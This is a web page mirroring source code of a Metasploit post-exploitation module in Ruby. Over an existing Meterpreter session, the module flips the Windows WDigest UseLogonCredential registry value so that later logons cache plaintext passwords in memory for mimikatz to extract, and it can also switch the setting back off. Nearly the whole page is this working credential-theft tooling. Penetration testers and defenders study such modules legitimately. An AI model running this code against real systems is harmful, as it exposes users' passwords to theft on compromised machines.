CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/wdigest_caching.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Post::Windows::Version
9
10
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze
11
USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Post Manage WDigest Credential Caching',
18
'Description' => %q{
19
On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables
20
credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.
21
Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ]
27
)
28
)
29
30
register_options(
31
[
32
OptBool.new('ENABLE', [false, 'Enable the WDigest Credential Cache.', true])
33
]
34
)
35
end
36
37
# Run Method for when run command is issued
38
def run
39
print_status("Running module against #{sysinfo['Computer']}")
40
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
41
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
42
version = get_version_info
43
if version.build_number < Msf::WindowsVersion::Win7_SP0
44
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
45
else
46
datastore['ENABLE'] ? wdigest_enable : wdigest_disable
47
end
48
end
49
50
def get_key
51
# Check if the key exists. Not present by default
52
print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...")
53
begin
54
wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL)
55
key_exists = !wdvalue.nil?
56
57
print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists
58
return wdvalue
59
rescue Rex::Post::Meterpreter::RequestError => e
60
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
61
end
62
end
63
64
def wdigest_enable
65
wdvalue = get_key
66
key_exists = !wdvalue.nil?
67
# If it is not present, create it
68
if key_exists && wdvalue == 1
69
print_good('Registry value is already set. WDigest Security Provider is enabled')
70
else
71
begin
72
verb = key_exists ? 'Setting' : 'Creating'
73
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")
74
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')
75
print_good('WDigest Security Provider enabled')
76
else
77
print_error('Unable to access registry key - insufficient privileges?')
78
end
79
rescue Rex::Post::Meterpreter::RequestError => e
80
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
81
end
82
end
83
end
84
85
def wdigest_disable
86
wdvalue = get_key
87
key_exists = !wdvalue.nil?
88
# If it is not present, create it
89
if key_exists && wdvalue == 0
90
print_good('Registry value is already set. WDigest Security Provider is disabled')
91
else
92
begin
93
verb = key_exists ? 'Setting' : 'Creating'
94
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")
95
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
96
print_good('WDigest Security Provider disabled')
97
else
98
print_error('Unable to access registry key - insufficient privileges?')
99
end
100
rescue Rex::Post::Meterpreter::RequestError => e
101
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
102
end
103
end
104
end
105
end
106
107